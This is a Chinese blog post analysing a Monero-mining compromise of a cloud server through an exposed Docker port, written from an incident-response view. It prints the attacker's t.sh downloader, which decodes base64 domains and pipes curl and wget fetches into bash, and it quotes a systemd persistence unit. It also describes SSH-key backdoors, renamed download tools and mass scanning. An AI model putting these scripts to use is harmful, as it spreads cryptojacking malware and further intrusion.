当年第一次接触门罗币,还是用外星人PC 电脑日夜不停的挖门罗币,结果挖了一星期才挖到二十块,估计电费都不够,汗颜……
没想到今天又碰上了
源起
腾讯发来了短信告警,说有 xmrig 挖矿,最开始没注意,以为是我放在服务器上的frp 导致的误报,到了工位后详细看了下告警内容,发现不是frp对应的安装 路径,坏了,肯定被黑了,登上服务器紧急处理
处理过程
文件路径已经标在短信里了,很容易定位到,但是重点是怎么入侵的呢?
首先看下文件信息
根据change 时间可以大概判断,上传时间应该在这之前
2023-03-26 23:01:14.372920119 +0800
接下来看下这段时间前后的历史命令信息
history |grep 2023-03-26
悲催了,根本不存在,其它9点之前的信息都是26 号晚上的正常作业
无奈只能大海捞针,翻一翻这段时间前后的文件访问记录了
find / -newermt '2023-03-26' ! -newermt '2023-03-27'
完蛋,当晚很多docker 相关作业,这下都参杂在其中,先把docker 相关内容排除掉吧
这下清楚多了,但是看不到具体的访问日期,再次调整下搜索命令
find / -newermt '2023-03-26' ! -newermt '2023-03-27' |grep -v "docker" |grep -v "containerd" |xargs ls -ldtr
这次舒服多了,一条条记录来吧【记录太多,直接放在本地查看】
/var/spool/postfix/maildrop/ED4EF6026A
内容如下
看起来是个定时任务失败产生的告警记录,下面这段内容值得注意下
print urllib2.urlopen('http://s.\\n\\a-c\\s.c\\o\m/t.sh').read()" >.1;
去掉反斜杠获取到的URL 信息如下
http://s.na-cs[.]com/t.sh
t.sh 的文件内容贴出来了【省略了部分内容,重点关注下面几行】
这个脚本作用很简单就是从刚才的服务器上下载文件 arcc.sh
然后执行
#!/bin/bash
#variables
domain=$(echo cy5uYS1jcy5jb20K|base64 -d)
mainurl=$(echo aHR0cDovL3MubmEtY3MuY29tL2IyZjYyOAo=|base64 -d)
CSIZE=$(du -sk ${CURL_CMD}|awk '{print $1}')
WSIZE=$(du -sk ${WGET_CMD}|awk '{print $1}')
if [ "$(id -u)" = "0" ];then
if (( "$CSIZE" > 100 ))
then
${CURL_CMD} -fsSL ${mainurl}/d/arcc.sh |bash
elif (( "$WSIZE" > 100 ))
then
${WGET_CMD} -q -O- ${mainurl}/d/arcc.sh |bash
else
python -c "import urllib2; print urllib2.urlopen('${mainurl}/d/arcc.sh').read()" >/tmp/arcc.sh;chmod +x /tmp/arcc.sh;bash /tmp/arcc.sh
fi
else
if (( "$CSIZE" > 100 ))
then
${CURL_CMD} -fsSL ${mainurl}/d/ai.sh |bash
elif (( "$WSIZE" > 100 ))
then
${WGET_CMD} -q -O- ${mainurl}/d/ai.sh |bash
else
python -c "import urllib2; print urllib2.urlopen('${mainurl}/d/ai.sh').read()" >/tmp/ai.sh;chmod +x /tmp/ai.sh;bash /tmp/ai.sh
fi
fi
arcc.sh 文件内容跟上一个脚本差不多,不过这次安装的东西更多了
原来设置了不记录历史命令,难怪差不到
添加ssh 公钥访问,维持权限
清楚各种云平台的监控告警【不过应该失败了,文章开头已经说过了,腾讯发现门罗币的挖矿脚本】
最终来到下载门罗币脚本的的函数
此外还设置了服务启动
挖矿程序运行中,同时设置了开机启动
接着往下走
最骚的是,他们把wget 、curl 都改了名字,估计是想隐藏下载记录把
同时也能对应上 文件的访问记录
后面通过yum 下载了一堆软件
跳过yum 的各种下载,发现有一个可疑的文件下载
解压后发现就是个 masscan,估计是要拿我的服务器当肉鸡再去扫别人了
接下来还有一个pnscan ,又是一个扫描器,还是20 年前的扫描器,果然好东西不怕老,不管黑猫白猫能逮到老鼠就是好猫。
20年前的扫描器,也是没谁了
比较奇怪的是这个httpd ,如果不仔细看还真容易错误,以为是 apache 的估计大有人才,但是他这里用了 . 开头的隐藏目录
进入 .http 目录发下有一个隐藏文件的小技巧,直接新建了一个三个点的目录,直呼666
目录下只有一个httpd 文件(其实还有一个隐藏文件,此目录下临时文件太多就不展示了)
http 是个通过下载恶意脚本,执行redis 扫描的
其中设置了三个backup ,又是狡兔三窟的老手段了,作用就是为了保活,持续下载t.sh脚本,持续最开始的流程
下面的几个服务,都是针对http 进行持久化控制的
真正做到了狡兔三窟,zzhr、zzhd、zzhh 三个服务的内容都一样,都是控制httpd 脚本的启停,其中一个内容如下
cat /etc/systemd/system/zzhd.service
[Service]
ExecStart=/var/.httpd/.../httpd
WorkingDirectory=/var/.httpd/...
Restart=always
RestartSec=30
[Install]
WantedBy=default.target
通过上面的日志可以看到已经有16777216 的主机在被扫队列中
这里的zgrab 也是个扫描器,通过扫描2375、2376 来入侵docker 服务
具体怎么入侵,请参考系列文章 《门罗币挖矿应急(四)入侵过程复现》
至此,整个入侵的流程脉络已经很清晰了
2023-03-26 19:06:57 我方开发人员开启了docker 2375 端口
2023-03-26 23:00:00 服务器被挖矿木马扫到2375 端口并利用
2023-03-26 23:01:00 下载t.sh、arcc.sh 等脚本进行自动化控制
2023-03-26 23:01:30 通过脚本设置了ssh 公钥进行权限维持
2023-03-26 23:04:00 各种基本软件安装完毕、并安装了多个扫描器
2023-03-26 23:05:00 启动httpd 服务,其中包含各个扫描器等,循环往复,再去扫描其它机器的端口
可以看到整个流程下来,入侵如德芙一样丝滑,从开启端口到做完一系列操作进而持续扫描入侵其它机器,仅用了不到4小时,安全警钟长鸣,丝毫不可大意。